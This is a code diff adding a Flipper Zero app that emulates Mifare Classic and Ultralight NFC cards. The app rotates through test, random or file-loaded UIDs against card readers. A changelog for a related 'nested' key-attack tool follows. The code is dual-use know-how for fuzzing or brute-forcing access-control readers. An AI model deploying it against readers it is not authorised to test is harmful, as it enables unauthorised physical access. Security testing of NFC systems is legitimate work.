+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_on_event()");
+    MifareFuzzerApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        //FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_on_event() :: event.event = %ld", event.event);
+        if(event.event == MifareFuzzerEventTestValueAttack) {
+            // save selected item
+            scene_manager_set_scene_state(app->scene_manager, MifareFuzzerSceneAttack, SubmenuIndexTestValue);
+            // set emulator attack
+            app->attack = MifareFuzzerAttackTestValues;
+            mifare_fuzzer_emulator_set_attack(app->emulator_view, app->attack);
+            // open next scene
+            scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneEmulator);
+            consumed = true;
+        } else if(event.event == MifareFuzzerEventRandomValuesAttack) {
+            // save selected item
+            scene_manager_set_scene_state(app->scene_manager, MifareFuzzerSceneAttack, SubmenuIndexRandomValuesAttack);
+            // set emulator attack
+            app->attack = MifareFuzzerAttackRandomValues;
+            mifare_fuzzer_emulator_set_attack(app->emulator_view, app->attack);
+            // open next scene
+            scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneEmulator);
+            consumed = true;
+        } else if(event.event == MifareFuzzerEventLoadUIDsFromFileAttack) {
+            // save selected item
+            scene_manager_set_scene_state(app->scene_manager, MifareFuzzerSceneAttack, SubmenuIndexLoadUIDsFromFile);
+            // set emulator attack
+            app->attack = MifareFuzzerAttackLoadUidsFromFile;
+            mifare_fuzzer_emulator_set_attack(app->emulator_view, app->attack);
+            // open dialog file
+            DialogsFileBrowserOptions browser_options;
+            dialog_file_browser_set_basic_options(&browser_options, MIFARE_FUZZER_FILE_EXT, NULL);
+            browser_options.hide_ext = false;
+            bool res = dialog_file_browser_show(
+                app->dialogs,
+                app->file_path,
+                app->app_folder, &browser_options);
+            if(res) {
+                app->uids_stream = buffered_file_stream_alloc(app->storage);
+                    res = buffered_file_stream_open(
+                        app->uids_stream,
+                        furi_string_get_cstr(app->file_path), FSAM_READ, FSOM_OPEN_EXISTING);
+                if(res) {
+                    // open next scene
+                    scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneEmulator);
+                } else {
+                    buffered_file_stream_close(app->uids_stream);
+                }
+            }
+            consumed = true;
+        }
+    } else if (event.type == SceneManagerEventTypeTick) {
+        //FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_on_event() :: SceneManagerEventTypeTick");
+        //consumed = true;
+    }
+
+    return consumed;
+}
+
+/// @brief mifare_fuzzer_scene_attack_on_exit()
+/// @param context 
+void mifare_fuzzer_scene_attack_on_exit(void* context) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_on_exit()");
+    MifareFuzzerApp* app = context;
+    submenu_reset(app->submenu_attack);
+}

+ 3 - 0
mifare_fuzzer/scenes/mifare_fuzzer_scene_config.h

@@ -0,0 +1,3 @@
+ADD_SCENE(mifare_fuzzer, start, Start)
+ADD_SCENE(mifare_fuzzer, attack, Attack)
+ADD_SCENE(mifare_fuzzer, emulator, Emulator)

+ 241 - 0
mifare_fuzzer/scenes/mifare_fuzzer_scene_emulator.c

@@ -0,0 +1,241 @@
+#include "../mifare_fuzzer_i.h"
+
+uint8_t tick_counter = 0;
+uint8_t attack_step = 0;
+
+uint8_t id_uid_test[9][7] = {
+    {0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17},
+    {0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28},
+    {0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39},
+    {0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a},
+    {0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b},
+    {0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c},
+    {0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d},
+    {0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e},
+    {0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f},
+};
+
+/// @brief mifare_fuzzer_scene_emulator_callback()
+/// @param event 
+/// @param context 
+static void mifare_fuzzer_scene_emulator_callback(MifareFuzzerEvent event, void* context) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_callback()");
+    furi_assert(context);
+    MifareFuzzerApp* app = context;
+    view_dispatcher_send_custom_event(app->view_dispatcher, event);
+}
+
+/// @brief mifare_fuzzer_scene_emulator_on_enter()
+/// @param context 
+void mifare_fuzzer_scene_emulator_on_enter(void* context) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_enter()");
+    MifareFuzzerApp* app = context;
+    MifareFuzzerEmulator* emulator = app->emulator_view;
+
+    // init callback
+    mifare_fuzzer_emulator_set_callback(emulator, mifare_fuzzer_scene_emulator_callback, app);
+    // init ticks
+    tick_counter = 0;
+    mifare_fuzzer_emulator_set_tick_num(app->emulator_view, tick_counter);
+    emulator->ticks_between_cards = MIFARE_FUZZER_DEFAULT_TICKS_BETWEEN_CARDS;
+    mifare_fuzzer_emulator_set_ticks_between_cards(app->emulator_view, emulator->ticks_between_cards);
+    // init default card data
+    FuriHalNfcDevData nfc_dev_data;
+    nfc_dev_data.atqa[0] = 0x00;
+    nfc_dev_data.atqa[1] = 0x00;
+    nfc_dev_data.sak = 0x00;
+    if (app->card == MifareCardUltralight) {
+        nfc_dev_data.uid_len = 0x07;
+    } else {
+        nfc_dev_data.uid_len = 0x04;
+    }
+    for(uint32_t i = 0; i < nfc_dev_data.uid_len; i++) {
+        nfc_dev_data.uid[i] = 0x00;
+    }
+    mifare_fuzzer_emulator_set_nfc_dev_data(app->emulator_view, nfc_dev_data);
+    // init other vars
+    attack_step = 0;
+
+    // switch to view
+    view_dispatcher_switch_to_view(
+        app->view_dispatcher,
+        MifareFuzzerViewEmulator
+    );
+}
+
+/// @brief mifare_fuzzer_scene_emulator_on_event()
+/// @param context 
+/// @param event 
+/// @return 
+bool mifare_fuzzer_scene_emulator_on_event(void* context, SceneManagerEvent event) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_event()");
+    FuriHalNfcDevData nfc_dev_data;
+
+    MifareFuzzerApp* app = context;
+    MifareFuzzerEmulator* emulator = app->emulator_view;
+
+    bool consumed = false;
+
+    if (event.type == SceneManagerEventTypeCustom) {
+        if (event.event == MifareFuzzerEventStartAttack) {
+            //FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_event() :: MifareFuzzerEventStartAttack");
+
+            // Stop worker
+            mifare_fuzzer_worker_stop(app->worker);
+
+            // Set card type
+            // TODO: Move somewhere else, I do not like this to be there
+            if (app->card == MifareCardClassic1k) {
+                nfc_dev_data.atqa[0] = 0x04;
+                nfc_dev_data.atqa[1] = 0x00;
+                nfc_dev_data.sak = 0x08;
+                nfc_dev_data.uid_len = 0x04;
+            } else if (app->card == MifareCardClassic4k) {
+                nfc_dev_data.atqa[0] = 0x02;
+                nfc_dev_data.atqa[1] = 0x00;
+                nfc_dev_data.sak = 0x18;
+                nfc_dev_data.uid_len = 0x04;
+            } else if (app->card == MifareCardUltralight) {
+                nfc_dev_data.atqa[0] = 0x44;
+                nfc_dev_data.atqa[1] = 0x00;
+                nfc_dev_data.sak = 0x00;
+                nfc_dev_data.uid_len = 0x07;
+            }
+
+            // Set UIDs
+            if (app->attack == MifareFuzzerAttackTestValues) {
+                // Load test UIDs
+                for(uint8_t i = 0; i < nfc_dev_data.uid_len; i++) {
+                    nfc_dev_data.uid[i] = id_uid_test[attack_step][i];
+                }
+                // Next UIDs on next loop
+                if (attack_step >= 8) {
+                    attack_step = 0;
+                } else {
+                    attack_step++;
+                }
+            } else if (app->attack == MifareFuzzerAttackRandomValues) {
+                if (app->card == MifareCardUltralight) {
+                    // First byte of a 7 byte UID is the manufacturer-code
+                    // https://github.com/Proxmark/proxmark3/blob/master/client/taginfo.c
+                    // https://stackoverflow.com/questions/37837730/mifare-cards-distinguish-between-4-byte-and-7-byte-uids
+                    // https://stackoverflow.com/questions/31233652/how-to-detect-manufacturer-from-nfc-tag-using-android
+
+                    // TODO: Manufacture-code must be selectable from a list
+                    // use a fixed manufacture-code for now: 0x04 = NXP Semiconductors Germany
+                    nfc_dev_data.uid[0] = 0x04;
+                    for(uint8_t i = 1; i < nfc_dev_data.uid_len; i++) {
+                        nfc_dev_data.uid[i] = (furi_hal_random_get() & 0xFF);
+                    }
+                } else {
+                    for(uint8_t i = 0; i < nfc_dev_data.uid_len; i++) {
+                        nfc_dev_data.uid[i] = (furi_hal_random_get() & 0xFF);
+                    }
+                }
+            } else if (app->attack == MifareFuzzerAttackLoadUidsFromFile) {
+                //bool end_of_list = false;
+                // read stream
+                while(true){
+                    furi_string_reset(app->uid_str);
+                    if(!stream_read_line(app->uids_stream, app->uid_str)) {
+                        // restart from beginning on empty line
+                        stream_rewind(app->uids_stream);
+                        continue;
+                        //end_of_list = true;
+                    }
+                    // Skip comments
+                    if(furi_string_get_char(app->uid_str, 0) == '#') continue;
+                    // Skip lines with invalid length
+                    if((furi_string_size(app->uid_str) != 9) && (furi_string_size(app->uid_str) != 15)) continue;
+                    break;
+                }
+
+                // TODO: stop on end of list?
+                //if(end_of_list) break;
+
+                // parse string to UID
+                // TODO: a better validation on input?
+                for(uint8_t i = 0; i < nfc_dev_data.uid_len; i++) {
+                    if (i <= ((furi_string_size(app->uid_str) - 1) / 2)) {
+                        char temp_str[3];
+                        temp_str[0] = furi_string_get_cstr(app->uid_str)[i * 2];
+                        temp_str[1] = furi_string_get_cstr(app->uid_str)[i * 2 + 1];
+                        temp_str[2] = '\0';
+                        nfc_dev_data.uid[i] = (uint8_t)strtol(temp_str, NULL, 16);
+                    } else {
+                        nfc_dev_data.uid[i] = 0x00;
+                    }
+                }
+
+            }
+
+            mifare_fuzzer_worker_set_nfc_dev_data(app->worker, nfc_dev_data);
+            mifare_fuzzer_emulator_set_nfc_dev_data(app->emulator_view, nfc_dev_data);
+
+            // Reset tick_counter
+            tick_counter = 0;
+            mifare_fuzzer_emulator_set_tick_num(app->emulator_view, tick_counter);
+
+            // Start worker
+            mifare_fuzzer_worker_start(app->worker);
+
+        } else if (event.event == MifareFuzzerEventStopAttack) {
+            //FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_event() :: MifareFuzzerEventStopAttack");
+            // Stop worker
+            mifare_fuzzer_worker_stop(app->worker);
+        } else if (event.event == MifareFuzzerEventIncrementTicks) {
+            if (!emulator->is_attacking) {
+                if (emulator->ticks_between_cards < MIFARE_FUZZER_MAX_TICKS_BETWEEN_CARDS) {
+                    emulator->ticks_between_cards++;
+                    mifare_fuzzer_emulator_set_ticks_between_cards(app->emulator_view, emulator->ticks_between_cards);
+                };
+            };
+        } else if (event.event == MifareFuzzerEventDecrementTicks) {
+            if (!emulator->is_attacking) {
+                if (emulator->ticks_between_cards > MIFARE_FUZZER_MIN_TICKS_BETWEEN_CARDS) {
+                    emulator->ticks_between_cards--;
+                    mifare_fuzzer_emulator_set_ticks_between_cards(app->emulator_view, emulator->ticks_between_cards);
+                };
+            };
+        }
+        consumed = true;
+    } else if (event.type == SceneManagerEventTypeTick) {
+        //FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_event() :: SceneManagerEventTypeTick");
+
+        // Used to check tick length (not perfect but enough)
+        //FuriHalRtcDateTime curr_dt;
+        //furi_hal_rtc_get_datetime(&curr_dt);
+        //FURI_LOG_D(TAG, "Time is: %.2d:%.2d:%.2d", curr_dt.hour, curr_dt.minute, curr_dt.second);
+
+        // If emulator is attacking
+        if (emulator->is_attacking) {
+            // increment tick_counter
+            tick_counter++;
+            mifare_fuzzer_emulator_set_tick_num(app->emulator_view, tick_counter);
+            //FURI_LOG_D(TAG, "tick_counter is: %.2d", tick_counter);
+            if (tick_counter >= emulator->ticks_between_cards) {
+                // Queue event for changing UID
+                view_dispatcher_send_custom_event(app->view_dispatcher, MifareFuzzerEventStartAttack);
+            }
+        }
+
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+/// @brief mifare_fuzzer_scene_emulator_on_exit()
+/// @param context 
+void mifare_fuzzer_scene_emulator_on_exit(void* context) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_exit()");
+    MifareFuzzerApp* app = context;
+    mifare_fuzzer_worker_stop(app->worker);
+
+    if(app->attack == MifareFuzzerAttackLoadUidsFromFile) {
+        furi_string_reset(app->uid_str);
+        stream_rewind(app->uids_stream);
+        buffered_file_stream_close(app->uids_stream);
+    }
+
+}

+ 131 - 0
mifare_fuzzer/scenes/mifare_fuzzer_scene_start.c

@@ -0,0 +1,131 @@
+#include "../mifare_fuzzer_i.h"
+#include "../mifare_fuzzer_custom_events.h"
+
+enum SubmenuIndex {
+    SubmenuIndexClassic1k,
+    SubmenuIndexClassic4k,
+    SubmenuIndexUltralight,
+};
+
+/// @brief mifare_fuzzer_scene_start_submenu_callback()
+/// @param context 
+/// @param index 
+void mifare_fuzzer_scene_start_submenu_callback(void* context, uint32_t index) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_submenu_callback() :: index = %ld", index);
+    MifareFuzzerApp* app = context;
+    uint8_t custom_event = 255;
+    switch(index){
+    case SubmenuIndexClassic1k:
+        custom_event = MifareFuzzerEventClassic1k;
+        break;
+    case SubmenuIndexClassic4k:
+        custom_event = MifareFuzzerEventClassic4k;
+        break;
+    case SubmenuIndexUltralight:
+        custom_event = MifareFuzzerEventUltralight;
+        break;
+    default:
+        return;
+    }
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_submenu_callback() :: custom_event = %d", custom_event);
+    view_dispatcher_send_custom_event(app->view_dispatcher, custom_event);
+}
+
+/// @brief mifare_fuzzer_scene_start_on_enter()
+/// @param context 
+void mifare_fuzzer_scene_start_on_enter(void* context) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_on_enter()");
+    MifareFuzzerApp* app = context;
+
+    Submenu* submenu_card = app->submenu_card;
+    submenu_set_header(submenu_card, "Mifare Fuzzer (card)");
+    submenu_add_item(
+        submenu_card,
+        "Classic 1k",
+        SubmenuIndexClassic1k,
+        mifare_fuzzer_scene_start_submenu_callback,
+        app
+    );
+    submenu_add_item(
+        submenu_card,
+        "Classic 4k",
+        SubmenuIndexClassic4k,
+        mifare_fuzzer_scene_start_submenu_callback,
+        app
+    );
+    submenu_add_item(
+        submenu_card,
+        "Ultralight",
+        SubmenuIndexUltralight,
+        mifare_fuzzer_scene_start_submenu_callback,
+        app
+    );
+
+    // set selected menu
+    submenu_set_selected_item(submenu_card,
+        scene_manager_get_scene_state(
+            app->scene_manager,
+            MifareFuzzerSceneStart
+        )
+    );
+
+    view_dispatcher_switch_to_view(
+        app->view_dispatcher,
+        MifareFuzzerViewSelectCard
+    );
+}
+
+/// @brief mifare_fuzzer_scene_start_on_event()
+/// @param context 
+/// @param event 
+/// @return 
+bool mifare_fuzzer_scene_start_on_event(void* context, SceneManagerEvent event) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_on_event()");
+    MifareFuzzerApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        //FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_on_event() :: event.event = %ld", event.event);
+        if(event.event == MifareFuzzerEventClassic1k) {
+            // save selected item
+            scene_manager_set_scene_state(app->scene_manager, MifareFuzzerSceneStart, SubmenuIndexClassic1k);
+            // set emulator card
+            app->card = MifareCardClassic1k;
+            mifare_fuzzer_emulator_set_card(app->emulator_view, app->card);
+            // open next scene
+            scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneAttack);
+            consumed = true;
+        } else if(event.event == MifareFuzzerEventClassic4k) {
+            // save selected item
+            scene_manager_set_scene_state(app->scene_manager, MifareFuzzerSceneStart, SubmenuIndexClassic4k);
+            // set emulator card
+            app->card = MifareCardClassic4k;
+            mifare_fuzzer_emulator_set_card(app->emulator_view, app->card);
+            // open next scene
+            scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneAttack);
+            consumed = true;
+        } else if(event.event == MifareFuzzerEventUltralight) {
+            // save selected item
+            scene_manager_set_scene_state(app->scene_manager, MifareFuzzerSceneStart, SubmenuIndexUltralight);
+            // set emulator card
+            app->card = MifareCardUltralight;
+            mifare_fuzzer_emulator_set_card(app->emulator_view, app->card);
+            // open next scene
+            scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneAttack);
+            consumed = true;
+        }
+    } else if (event.type == SceneManagerEventTypeTick) {
+        //FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_on_event() :: SceneManagerEventTypeTick");
+        //consumed = true;
+    }
+
+    return consumed;
+}
+
+/// @brief mifare_fuzzer_scene_start_on_exit()
+/// @param context 
+void mifare_fuzzer_scene_start_on_exit(void* context) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_on_exit()");
+    MifareFuzzerApp* app = context;
+    submenu_reset(app->submenu_card);
+}

+ 307 - 0
mifare_fuzzer/views/mifare_fuzzer_emulator.c

@@ -0,0 +1,307 @@
+#include "mifare_fuzzer_emulator.h"
+
+#define TAG "MifareFuzzerApp_emulator_view"
+
+// Screen is 128 × 64 pixels
+
+/// @brief mifare_fuzzer_emulator_set_callback
+/// @param mifare_fuzzer_emulator 
+/// @param callback 
+/// @param context 
+void mifare_fuzzer_emulator_set_callback(
+    MifareFuzzerEmulator* mifare_fuzzer_emulator,
+    MifareFuzzerEmulatorCallback callback,
+    void* context) {
+    furi_assert(mifare_fuzzer_emulator);
+    furi_assert(callback);
+
+    mifare_fuzzer_emulator->callback = callback;
+    mifare_fuzzer_emulator->context = context;
+}
+
+/// @brief mifare_fuzzer_emulator_draw_callback
+/// @param canvas 
+/// @param _model 
+static void mifare_fuzzer_emulator_draw_callback(Canvas* canvas, void* _model) {
+    MifareFuzzerEmulatorModel* model = _model;
+    FuriString* furi_string = furi_string_alloc();
+
+    canvas_clear(canvas);
+    canvas_set_color(canvas, ColorBlack);
+
+    // Primary font
+    canvas_set_font(canvas, FontPrimary);
+    // Title
+    canvas_draw_str(canvas, 4, 11, model->title);
+
+    // Emulated UID
+    uint8_t cpos;
+    char uid[25];
+    char uid_char[3];
+    cpos = 0;
+    for(uint8_t i = 0; i < model->nfc_dev_data.uid_len; i++) {
+        if (i > 0) {
+            uid[cpos] = ':';
+            cpos++;
+        }
+        snprintf(uid_char, sizeof(uid_char), "%02X", model->nfc_dev_data.uid[i]);
+        uid[cpos] = uid_char[0];
+        cpos++;
+        uid[cpos] = uid_char[1];
+        cpos++;
+    }
+    uid[cpos] = 0x00;
+    canvas_draw_str_aligned(canvas, 128 / 2, 43, AlignCenter, AlignCenter, uid);
+
+    // Secondary font
+    canvas_set_font(canvas, FontSecondary);
+    // Card
+    canvas_draw_str(canvas,   4, 22, "c:");
+    canvas_draw_str(canvas,  15, 22, model->mifare_card_dsc);
+    // Timing
+    furi_string_printf(furi_string, "%d", model->ticks_between_cards);
+    canvas_draw_str(canvas,  90, 22, "t:");
+    canvas_draw_str(canvas, 100, 22, furi_string_get_cstr(furi_string));
+    // Attack
+    canvas_draw_str(canvas,   4, 33, "a:");
+    canvas_draw_str(canvas,  15, 33, model->attack_dsc);
+
+    if (!model->is_attacking) {
+        elements_button_left(canvas, "t-1");
+        elements_button_center(canvas, "Start");
+        elements_button_right(canvas, "t+1");
+    } else {
+        canvas_draw_line(canvas, 1, 49, (128 * model->tick_num / model->ticks_between_cards), 49);
+        elements_button_center(canvas, "Stop");
+    }
+
+    // Free temp string
+    furi_string_free(furi_string);
+}
+
+/// @brief mifare_fuzzer_emulator_input_callback
+/// @param event 
+/// @param context 
+/// @return 
+static bool mifare_fuzzer_emulator_input_callback(InputEvent* event, void* context) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_emulator_input_callback()");
+    furi_assert(context);
+    MifareFuzzerEmulator* mifare_fuzzer_emulator = context;
+    bool consumed = false;
+
+    if(event->type == InputTypeShort) {
+        if(event->key == InputKeyRight) {
+            if (!mifare_fuzzer_emulator->is_attacking) {
+                mifare_fuzzer_emulator->callback(MifareFuzzerEventIncrementTicks, mifare_fuzzer_emulator->context);
+            };
+            consumed = true;
+        } else if(event->key == InputKeyLeft) {
+            if (!mifare_fuzzer_emulator->is_attacking) {
+                mifare_fuzzer_emulator->callback(MifareFuzzerEventDecrementTicks, mifare_fuzzer_emulator->context);
+            };
+            consumed = true;
+        } else if(event->key == InputKeyUp) {
+            consumed = true;
+        } else if(event->key == InputKeyDown) {
+            consumed = true;
+        } else if(event->key == InputKeyOk) {
+
+            // Toggle attack
+            if (mifare_fuzzer_emulator->is_attacking) {
+                mifare_fuzzer_emulator->is_attacking = false;
+                mifare_fuzzer_emulator->callback(MifareFuzzerEventStopAttack, mifare_fuzzer_emulator->context);
+            } else {
+                mifare_fuzzer_emulator->is_attacking = true;
+                mifare_fuzzer_emulator->callback(MifareFuzzerEventStartAttack, mifare_fuzzer_emulator->context);
+            }
+
+            with_view_model(
+                mifare_fuzzer_emulator->view,
+                MifareFuzzerEmulatorModel* model,
+                {
+                    model->is_attacking = mifare_fuzzer_emulator->is_attacking;
+                }, true
+            );
+
+            consumed = true;
+        }
+    }
+
+    return consumed;
+}
+
+/// @brief mifare_fuzzer_emulator_enter_callback
+/// @param context 
+static void mifare_fuzzer_emulator_enter_callback(void* context) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_emulator_enter_callback()");
+    furi_assert(context);
+    MifareFuzzerEmulator* mifare_fuzzer_emulator = context;
+
+    //UNUSED(mifare_fuzzer_emulator);
+    mifare_fuzzer_emulator->is_attacking = false;
+    with_view_model(
+        mifare_fuzzer_emulator->view,
+        MifareFuzzerEmulatorModel* model,
+        {
+            model->is_attacking = false;
+        },
+        true
+    );
+
+}
+
+/// @brief mifare_fuzzer_emulator_alloc
+/// @return 
+MifareFuzzerEmulator* mifare_fuzzer_emulator_alloc() {
+    MifareFuzzerEmulator* mifare_fuzzer_emulator = malloc(sizeof(MifareFuzzerEmulator));
+    mifare_fuzzer_emulator->view = view_alloc();
+    view_set_context(mifare_fuzzer_emulator->view, mifare_fuzzer_emulator);
+    view_allocate_model(mifare_fuzzer_emulator->view, ViewModelTypeLocking, sizeof(MifareFuzzerEmulatorModel));
+    view_set_draw_callback(mifare_fuzzer_emulator->view, mifare_fuzzer_emulator_draw_callback);
+    view_set_input_callback(mifare_fuzzer_emulator->view, mifare_fuzzer_emulator_input_callback);
+    view_set_enter_callback(mifare_fuzzer_emulator->view, mifare_fuzzer_emulator_enter_callback);
+
+    with_view_model(
+        mifare_fuzzer_emulator->view,
+        MifareFuzzerEmulatorModel* model,
+        {
+            model->title = "Mifare Fuzzer (emulator)";
+        },
+        true
+    );
+
+    return mifare_fuzzer_emulator;
+}
+
+/// @brief mifare_fuzzer_emulator_free
+/// @param context 
+void mifare_fuzzer_emulator_free(MifareFuzzerEmulator* context) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_emulator_free()");
+    furi_assert(context);
+    MifareFuzzerEmulator* mifare_fuzzer_emulator = context;
+    /*
+    with_view_model(
+        mifare_fuzzer_emulator->view,
+        MifareFuzzerEmulatorModel* model,
+        {
+            UNUSED(model);
+        },
+        true
+    );
+    */
+
+    view_free(mifare_fuzzer_emulator->view);
+    free(mifare_fuzzer_emulator);
+}
+
+/// @brief mifare_fuzzer_emulator_get_view
+/// @param mifare_fuzzer_emulator 
+/// @return 
+View* mifare_fuzzer_emulator_get_view(MifareFuzzerEmulator* mifare_fuzzer_emulator) {
+    furi_assert(mifare_fuzzer_emulator);
+    return mifare_fuzzer_emulator->view;
+}
+
+/// @brief Set card type
+/// @param mifare_fuzzer_emulator 
+/// @param mifare_card 
+void mifare_fuzzer_emulator_set_card(MifareFuzzerEmulator* mifare_fuzzer_emulator, MifareCard mifare_card) {
+    furi_assert(mifare_fuzzer_emulator);
+    furi_assert(mifare_card);
+
+    with_view_model(
+        mifare_fuzzer_emulator->view,
+        MifareFuzzerEmulatorModel* model,
+        {
+            model->mifare_card = mifare_card;
+            switch(mifare_card) {
+            case MifareCardClassic1k:
+                model->mifare_card_dsc = "Classic 1k";
+                break;
+            case MifareCardClassic4k:
+                model->mifare_card_dsc = "Classic 4k";
+                break;
+            case MifareCardUltralight:
+                model->mifare_card_dsc = "Ultralight";
+                break;
+            }
+        },
+        true
+    );
+
+}
+
+/// @brief Set attack type
+/// @param mifare_fuzzer_emulator 
+/// @param mifare_attack 
+void mifare_fuzzer_emulator_set_attack(MifareFuzzerEmulator* mifare_fuzzer_emulator, MifareFuzzerAttack mifare_attack) {
+    furi_assert(mifare_fuzzer_emulator);
+    furi_assert(mifare_attack);
+
+    with_view_model(
+        mifare_fuzzer_emulator->view,
+        MifareFuzzerEmulatorModel* model,
+        {
+            model->attack = mifare_attack;
+            switch(mifare_attack) {
+            case MifareFuzzerAttackTestValues:
+                model->attack_dsc = "Test values";
+                break;
+            case MifareFuzzerAttackRandomValues:
+                model->attack_dsc = "Random values";
+                break;
+            case MifareFuzzerAttackLoadUidsFromFile:
+                model->attack_dsc = "Load Uids From File";
+                break;
+            }
+        },
+        true
+    );
+
+}
+
+/// @brief mifare_fuzzer_emulator_set_nfc_dev_data
+/// @param mifare_fuzzer_emulator 
+/// @param nfc_dev_data 
+void mifare_fuzzer_emulator_set_nfc_dev_data(MifareFuzzerEmulator* mifare_fuzzer_emulator, FuriHalNfcDevData nfc_dev_data) {
+    furi_assert(mifare_fuzzer_emulator);
+
+    with_view_model(
+        mifare_fuzzer_emulator->view,
+        MifareFuzzerEmulatorModel* model,
+        {
+            model->nfc_dev_data = nfc_dev_data;
+        }, true
+    );
+}
+
+
+/// @brief mifare_fuzzer_emulator_set_ticks_between_cards
+/// @param mifare_fuzzer_emulator 
+/// @param ticks 
+void mifare_fuzzer_emulator_set_ticks_between_cards(MifareFuzzerEmulator* mifare_fuzzer_emulator, uint8_t ticks) {
+    furi_assert(mifare_fuzzer_emulator);
+
+    with_view_model(
+        mifare_fuzzer_emulator->view,
+        MifareFuzzerEmulatorModel* model,
+        {
+            model->ticks_between_cards = ticks;
+        }, true
+    );
+}
+
+/// @brief mifare_fuzzer_emulator_set_tick_num
+/// @param mifare_fuzzer_emulator 
+/// @param tick_num 
+void mifare_fuzzer_emulator_set_tick_num(MifareFuzzerEmulator* mifare_fuzzer_emulator, uint8_t tick_num) {
+    furi_assert(mifare_fuzzer_emulator);
+
+    with_view_model(
+        mifare_fuzzer_emulator->view,
+        MifareFuzzerEmulatorModel* model,
+        {
+            model->tick_num = tick_num;
+        }, true
+    );
+}

+ 70 - 0
mifare_fuzzer/views/mifare_fuzzer_emulator.h

@@ -0,0 +1,70 @@
+#pragma once
+#include "../mifare_fuzzer_custom_events.h"
+#include <furi.h>
+#include <furi_hal.h>
+#include <gui/view.h>
+#include <gui/elements.h>
+
+typedef void (*MifareFuzzerEmulatorCallback)(MifareFuzzerEvent event, void* context);
+
+typedef enum MifareCard {
+    MifareCardClassic1k = 1,
+    MifareCardClassic4k,
+    MifareCardUltralight,
+} MifareCard;
+
+typedef enum MifareFuzzerAttack {
+    MifareFuzzerAttackTestValues = 1,
+    MifareFuzzerAttackRandomValues,
+    MifareFuzzerAttackLoadUidsFromFile,
+} MifareFuzzerAttack;
+
+typedef struct MifareFuzzerEmulator {
+    View* view;
+    MifareFuzzerEmulatorCallback callback;
+    void* context;
+    bool is_attacking;
+    uint8_t ticks_between_cards;
+} MifareFuzzerEmulator;
+
+typedef struct MifareFuzzerEmulatorModel {
+    const char* title;
+    MifareCard mifare_card;
+    const char* mifare_card_dsc;
+    MifareFuzzerAttack attack;
+    const char* attack_dsc;
+    FuriHalNfcDevData nfc_dev_data;
+    bool is_attacking;
+    uint8_t tick_num;
+    uint8_t ticks_between_cards;
+} MifareFuzzerEmulatorModel;
+
+MifareFuzzerEmulator* mifare_fuzzer_emulator_alloc();
+
+void mifare_fuzzer_emulator_free(MifareFuzzerEmulator* context);
+
+View* mifare_fuzzer_emulator_get_view(MifareFuzzerEmulator* context);
+
+void mifare_fuzzer_emulator_set_card(MifareFuzzerEmulator* mifare_fuzzer_emulator, MifareCard mifare_card);
+void mifare_fuzzer_emulator_set_attack(MifareFuzzerEmulator* mifare_fuzzer_emulator, MifareFuzzerAttack mifare_attack);
+
+void mifare_fuzzer_emulator_set_callback(
+    MifareFuzzerEmulator* mifare_fuzzer_emulator,
+    MifareFuzzerEmulatorCallback callback,
+    void* context
+);
+
+void mifare_fuzzer_emulator_set_nfc_dev_data(
+    MifareFuzzerEmulator* mifare_fuzzer_emulator,
+    FuriHalNfcDevData nfc_dev_data
+);
+
+void mifare_fuzzer_emulator_set_ticks_between_cards(
+    MifareFuzzerEmulator* mifare_fuzzer_emulator,
+    uint8_t ticks
+);
+
+void mifare_fuzzer_emulator_set_tick_num(
+    MifareFuzzerEmulator* mifare_fuzzer_emulator,
+    uint8_t tick_num
+);

BIN
mifare_nested/.flipcorg/gallery/1.png


BIN
mifare_nested/.flipcorg/gallery/2.png


BIN
mifare_nested/.flipcorg/gallery/3.png


BIN
mifare_nested/.flipcorg/gallery/4.png


BIN
mifare_nested/.flipcorg/gallery/5.png


BIN
mifare_nested/.flipcorg/gallery/6.png


BIN
mifare_nested/.flipcorg/gallery/7.png


+ 1 - 0
mifare_nested/.gitsubtree

@@ -0,0 +1 @@
+https://github.com/AloneLiberty/FlipperNested dev

+ 120 - 0
mifare_nested/CHANGELOG.md

@@ -0,0 +1,120 @@
+# Changelog
+
+## 1.5.1
+
+Fix wrong invalid/skipped keys count
+
+## 1.5.0 
+
+Changes:
+
+ - Added new scene with information about why nonces aren't collected (skipped/invalid)
+
